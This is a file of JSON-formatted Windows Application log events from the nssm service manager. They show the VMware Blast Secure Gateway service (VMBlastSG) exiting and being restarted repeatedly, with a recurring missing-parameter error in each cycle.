{"@timestamp":1646623078152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153565}}
{"@timestamp":1646623078153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153566}}
{"@timestamp":1646623078153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153567}}
{"@timestamp":1646623078154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153568}}
{"@timestamp":1646623206668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153569}}
{"@timestamp":1646623206669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153570}}
{"@timestamp":1646623206670,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148728","0"]}}},"module":"Application","provider":"nssm","sequence":153571}}
{"@timestamp":1646623206671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148728","148728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153572}}
{"@timestamp":1646623206687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153573}}
{"@timestamp":1646623206687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153574}}
{"@timestamp":1646623206688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153575}}
{"@timestamp":1646623206689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153576}}
{"@timestamp":1646623335191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153577}}
{"@timestamp":1646623335192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153578}}
{"@timestamp":1646623335193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150616","0"]}}},"module":"Application","provider":"nssm","sequence":153579}}
{"@timestamp":1646623335194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150616","150616","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153580}}
{"@timestamp":1646623335210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153581}}
{"@timestamp":1646623335211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153582}}
{"@timestamp":1646623335211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153583}}
{"@timestamp":1646623335212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153584}}
{"@timestamp":1646623463710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153585}}
{"@timestamp":1646623463711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153586}}
{"@timestamp":1646623463712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149868","0"]}}},"module":"Application","provider":"nssm","sequence":153587}}
{"@timestamp":1646623463712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149868","149868","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153588}}
{"@timestamp":1646623463732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153589}}
{"@timestamp":1646623463732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153590}}
{"@timestamp":1646623463733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153591}}
{"@timestamp":1646623463733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153592}}
{"@timestamp":1646623592231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153593}}
{"@timestamp":1646623592232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153594}}
{"@timestamp":1646623592232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151216","0"]}}},"module":"Application","provider":"nssm","sequence":153595}}
{"@timestamp":1646623592233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151216","151216","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153596}}
{"@timestamp":1646623592249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153597}}
{"@timestamp":1646623592249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153598}}
{"@timestamp":1646623592250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153599}}
{"@timestamp":1646623592250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153600}}
{"@timestamp":1646623720746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153601}}
{"@timestamp":1646623720748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153602}}
{"@timestamp":1646623720748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150876","0"]}}},"module":"Application","provider":"nssm","sequence":153603}}
{"@timestamp":1646623720749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150876","150876","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153604}}
{"@timestamp":1646623720768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153605}}
{"@timestamp":1646623720768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153606}}
{"@timestamp":1646623720769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153607}}
{"@timestamp":1646623720770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153608}}
{"@timestamp":1646623849254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153609}}
{"@timestamp":1646623849255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153610}}
{"@timestamp":1646623849256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150456","0"]}}},"module":"Application","provider":"nssm","sequence":153611}}
{"@timestamp":1646623849256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150456","150456","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153612}}
{"@timestamp":1646623849272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153613}}
{"@timestamp":1646623849273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153614}}
{"@timestamp":1646623849273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153615}}
{"@timestamp":1646623849274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153616}}
{"@timestamp":1646623977874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153617}}
{"@timestamp":1646623977875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153618}}
{"@timestamp":1646623977875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150592","0"]}}},"module":"Application","provider":"nssm","sequence":153619}}
{"@timestamp":1646623977875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150592","150592","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153620}}
{"@timestamp":1646623977894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153621}}
{"@timestamp":1646623977894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153622}}
{"@timestamp":1646623977895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153623}}
{"@timestamp":1646623977896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153624}}
{"@timestamp":1646624106419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153625}}
{"@timestamp":1646624106420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153626}}
{"@timestamp":1646624106420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151276","0"]}}},"module":"Application","provider":"nssm","sequence":153627}}
{"@timestamp":1646624106421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151276","151276","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153628}}
{"@timestamp":1646624106437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153629}}
{"@timestamp":1646624106438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153630}}
{"@timestamp":1646624106438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153631}}
{"@timestamp":1646624106439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153632}}
{"@timestamp":1646624234931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153633}}
{"@timestamp":1646624234932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153634}}
{"@timestamp":1646624234933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149812","0"]}}},"module":"Application","provider":"nssm","sequence":153635}}
{"@timestamp":1646624234933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149812","149812","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153636}}
{"@timestamp":1646624234948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153637}}
{"@timestamp":1646624234949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153638}}
{"@timestamp":1646624234949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153639}}
{"@timestamp":1646624234950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153640}}
{"@timestamp":1646624363442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153641}}
{"@timestamp":1646624363444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153642}}
{"@timestamp":1646624363444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150004","0"]}}},"module":"Application","provider":"nssm","sequence":153643}}
{"@timestamp":1646624363445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150004","150004","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153644}}
{"@timestamp":1646624363462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153645}}
{"@timestamp":1646624363463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153646}}
{"@timestamp":1646624363463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153647}}
{"@timestamp":1646624363464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153648}}
{"@timestamp":1646624491984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153649}}
{"@timestamp":1646624491985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153650}}
{"@timestamp":1646624491986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147344","0"]}}},"module":"Application","provider":"nssm","sequence":153651}}
{"@timestamp":1646624491986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147344","147344","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153652}}
{"@timestamp":1646624492003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153653}}
{"@timestamp":1646624492003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153654}}
{"@timestamp":1646624492004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153655}}
{"@timestamp":1646624492005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153656}}
{"@timestamp":1646624620590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153657}}
{"@timestamp":1646624620591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153658}}
{"@timestamp":1646624620592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150076","0"]}}},"module":"Application","provider":"nssm","sequence":153659}}
{"@timestamp":1646624620592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150076","150076","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153660}}
{"@timestamp":1646624620612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153661}}
{"@timestamp":1646624620613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153662}}
{"@timestamp":1646624620613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153663}}
{"@timestamp":1646624620614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153664}}
{"@timestamp":1646624749102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153665}}
{"@timestamp":1646624749104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153666}}
{"@timestamp":1646624749104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151504","0"]}}},"module":"Application","provider":"nssm","sequence":153667}}
{"@timestamp":1646624749105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151504","151504","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153668}}
{"@timestamp":1646624749121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153669}}
